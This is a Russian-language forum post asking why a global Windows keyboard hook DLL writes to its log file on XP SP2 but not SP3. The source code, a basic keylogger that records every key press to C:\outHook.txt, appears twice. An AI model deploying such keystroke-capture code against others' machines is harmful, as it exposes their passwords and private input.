4p3
02.11.2008, 14:18
Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает?
Приведенный ниже код отказывался писать в файл.
Хотя все проверки выполнялись.
#include <windows.h>
#include <stdio.h>
#pragma data_seg(".SData")
static HHOOK hKey = 0;
static HANDLE hFile = INVALID_HANDLE_VALUE;
CRITICAL_SECTION cs;
#pragma data_seg()
DWORD __stdcall FileWrite(void *lpPoint);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
void StartHook(HINSTANCE hLib)
{
hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
hFile = CreateFile("C:\\outHook.txt",
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
InitializeCriticalSection(&cs);
if (hKey == NULL)
MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
if (hFile == INVALID_HANDLE_VALUE)
MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
}
void RemoveHook()
{
UnhookWindowsHookEx(hKey);
}
#pragma argsused
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
UnhookWindowsHookEx(hKey);
return 1;
}
//---------------------------------------------------------------------------
DWORD __stdcall FileWrite(void *lpPoint)
{
char szBuffer[100];
ZeroMemory(szBuffer, 100);
DWORD dwWritten = 0;
DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
itoa(*ScanCode, szBuffer, 16);
EnterCriticalSection(&cs);
WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
LeaveCriticalSection(&cs);
return 0;
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD IsDown, ScanCode;
IsDown = !(lParam >> 31);
ScanCode = lParam << 8;
ScanCode >>= 24;
if (IsDown && code == HC_ACTION)
{
CreateThread(NULL,
0,
FileWrite,
&ScanCode,
0,
0);
}
return 0;
}
Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.
Приведенный ниже код отказывался писать в файл.
Хотя все проверки выполнялись.
#include <windows.h>
#include <stdio.h>
#pragma data_seg(".SData")
static HHOOK hKey = 0;
static HANDLE hFile = INVALID_HANDLE_VALUE;
CRITICAL_SECTION cs;
#pragma data_seg()
DWORD __stdcall FileWrite(void *lpPoint);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
void StartHook(HINSTANCE hLib)
{
hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
hFile = CreateFile("C:\\outHook.txt",
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
InitializeCriticalSection(&cs);
if (hKey == NULL)
MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
if (hFile == INVALID_HANDLE_VALUE)
MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
}
void RemoveHook()
{
UnhookWindowsHookEx(hKey);
}
#pragma argsused
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
UnhookWindowsHookEx(hKey);
return 1;
}
//---------------------------------------------------------------------------
DWORD __stdcall FileWrite(void *lpPoint)
{
char szBuffer[100];
ZeroMemory(szBuffer, 100);
DWORD dwWritten = 0;
DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
itoa(*ScanCode, szBuffer, 16);
EnterCriticalSection(&cs);
WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
LeaveCriticalSection(&cs);
return 0;
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD IsDown, ScanCode;
IsDown = !(lParam >> 31);
ScanCode = lParam << 8;
ScanCode >>= 24;
if (IsDown && code == HC_ACTION)
{
CreateThread(NULL,
0,
FileWrite,
&ScanCode,
0,
0);
}
return 0;
}
Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.